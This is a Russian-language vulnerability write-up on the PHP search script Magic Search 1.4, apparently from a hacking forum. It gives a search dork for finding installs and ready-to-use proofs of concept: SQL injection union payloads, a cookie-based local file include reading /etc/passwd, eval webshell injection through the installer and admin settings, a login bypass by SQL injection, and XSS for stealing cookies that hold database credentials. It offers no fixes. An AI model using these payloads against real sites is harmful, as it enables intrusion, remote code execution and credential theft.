Обзор уязвимостей Magic Search 1.4

Magic Search 1.4 (http://magicsearch.pp.ua/)
dorks: «Created by Kiria-Studio»

SQL Injection
/static.php

<?php
 if (isset($_GET['str'])) {$str = $_GET['str']; }
if (!isset($str)) 
/* Проверяем, является ли переменная числом */
if (!preg_match("|^[d]+$|", $str)) {
exit ("<p>Неверный формат запроса! Проверьте url! <br> Если вы уверены что мы дали вам данную ссылку сообщите нам с помощью <a href='feedback.php'>обратной связи </a>");
}
$result = mysql_query("SELECT * FROM static WHERE str='$str'");

/**
Логики вообще никакой. Если есть $_GET[‘str’] то устанавливаем переменную $str, если нет, то проверяем, является ли она числом. оО
Ну и без какой-либо обработки собственно происходит запрос в базу данных.
**/

PoC:
/static.php?str=’+and+1=2+union+select+1,2,concat_ws(0x3a,version(),user(),database())+—+

NEED: magiq_quotes = OFF

Local File Include
/page.php


<?php
 if ($_COOKIE['langu']) {
    include_once("./languages/".$_COOKIE['langu']."-language.php"); 
} 

PoC:
В cookies: langu=../../../../../etc/passwd%00

Shell Upload
Жесткий и палевный метод.
/install.php


<?php
 if(isset($_POST['go_ed'])) {

    if (!is_writable("settings/database.php")) {
        print "<p style='color:#FF0033'><strong>Файла database.php несуществует или незаданы права доступа 666</strong></p>";
    } else {
        $fhandle=fopen("settings/database.php","w");
        fwrite($fhandle,"<?php n");
        fwrite($fhandle,"/***********************n Файл БДn***********************/n");
        fwrite($fhandle,"$"."database    = '". $_POST['_database']. "';n");
        fwrite($fhandle,"$"."mysql_user    = '".$_POST['_mysql_user']. "';n");
        fwrite($fhandle,"$"."mysql_password    = '".$_POST['_mysql_password']. "';n");
        fwrite($fhandle,"$"."mysql_host    = '".$_POST['_mysql_host']. "';n");
        fwrite($fhandle,"$"."mysql_table_prefix    = '".$_mysql_table_prefix. "';nnn"); 


PoC: В поле "Имя базы":
'; eval($_REQUEST['cmd']);

/*
Если все прошло удачно, то эксплуатируем:
/settings/database.php?cmd=phpinfo();
NEED: magiq_quotes = OFF

Bypass authorization
Для входа в админку не нужно знать даже логин и пасс админа.
/admin/login.php


<?php
 if(isset($_POST['go']))
{
$q2=mysql_query("SELECT * FROM users WHERE username='".$_REQUEST['login']."'");
$f = mysql_fetch_array($q2);
    if(($_REQUEST['login']==$f['username']) && ($_REQUEST['passwd']==$f['password']))
    {
        $_SESSION['enter'] = "1";
        $_SESSION['us_id'] = $f['user_id'];
        $_SESSION['right'] = $f['rig'];
        if($_SESSION['right']>'40')
        {
                header("Location: index.php");

        } 


PoC:
Login: ' AND 1=2 UNION SELECT 1,SUBSTR(info,37,LENGTH(info)-36-1),3,50 FROM information_schema.processlist -- 

Password: 3
NEED: magiq_quotes = OFF

Shell Upload
Нужны права на правку /settings/conf.php, и права администратора.
URL: /admin/?f=settings
Редактируем любой параметр нa ‘; @eval($_REQUEST[‘cmd’]); $s=’
Выполнение кода: /settings/conf.php?cmd=phpinfo();
NEED: magiq_quotes = OFF

Узнаем логин:пароль к базе данных.
/dumper.php


<?php
 if (!empty($_POST['login']) && isset($_POST['pass'])) {
    if (@mysql_connect(DBHOST, $_POST['login'], $_POST['pass'])){
        setcookie("sxd", base64_encode("SKD101:{$_POST['login']}:{$_POST['pass']}"));
        header("Location: dumper.php");
        mysql_close();
        exit;
    } 

Остается заполучить cookies админа, после того как он делал бэкап.
XSS через SQL-inj:
/static.php?str=’+and+1=2+union+select+1,2,'<script>alert(document.cookie);</script>’+—+

В параметр sxd будет содержаться закодированный логин и пасс к бд. Алгоритм шифрования — base64.